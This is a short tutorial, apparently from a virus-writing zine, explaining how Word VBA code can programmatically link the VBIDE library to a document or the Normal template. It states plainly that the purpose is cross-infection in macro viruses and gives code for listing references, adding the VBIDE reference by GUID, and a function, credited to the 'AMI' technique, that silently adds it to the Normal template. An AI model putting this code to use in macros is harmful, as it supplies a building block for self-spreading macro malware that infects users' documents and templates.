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How to link a library to a VBProject

jack twoflower

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today we will talk about how to link a library to a Visual Basic Project. So first why we need to link a lib or for what we need to link? Hmm...I think the answer is simple...for example if you want to add a module or something like that you need a lib for. Or for another technic of cross infection you could use a lib...Ok first use the following code to see what libs you have already installed.

    Sub GetCurrentReferences()
    For x = 1 To ThisDocument.VBProject.References.Count
          a = ThisDocument.VBProject.References(x).Name
          b = ThisDocument.VBProject.References(x).GUID
          MsgBox a & " - " & b
    Next x
    End Sub

After that go to ToolsReferences and check the lib you want to install. Run the sub again and write down the name and then GUID on a piece of paper or whatever. Then you add the reference by using this command:

    ThisDocument.VBProject.References.AddFromGuid GUID$, 1, 0

Where 'GUID$' is the GUID you wrote down before. This command will add the lib to the document or template. AMI uses for example this command to add the lib:

     ThisDocument.VBProject.References _
      .AddFromGuid "{0002E157-0000-0000-C000-000000000046}", 1, 0

So to use this in your virus you have to check if the reference is already linked and if not link it. This can be done through a little function I wrote. It's taken from the AMI technic...

Function CheckRefNormal_()

> This function checks if the library is alread linked to the template. If
> not it adds it...

CheckRefNormal_ = False

For I = 1 To Normaltemplate.VBProject.References.Count
    If Normaltemplate.VBProject.References(I).Name = "VBIDE" Then CheckRefNormal_ = True

> Same as checking for modulenames, but here we check for the library...

If CheckRefNormal_ = False Then
    Normaltemplate.VBProject.References _
     .AddFromGuid "{0002E157-0000-0000-C000-000000000046}", 1, 0

> If our needed library isn't linked, then link it with this command...

End If

End Function

So this was a little introduction on how to link a lib to a VBProject and I hope you understand what I mean and can use this code in your next macro.

'til next time,

				jack twoflower
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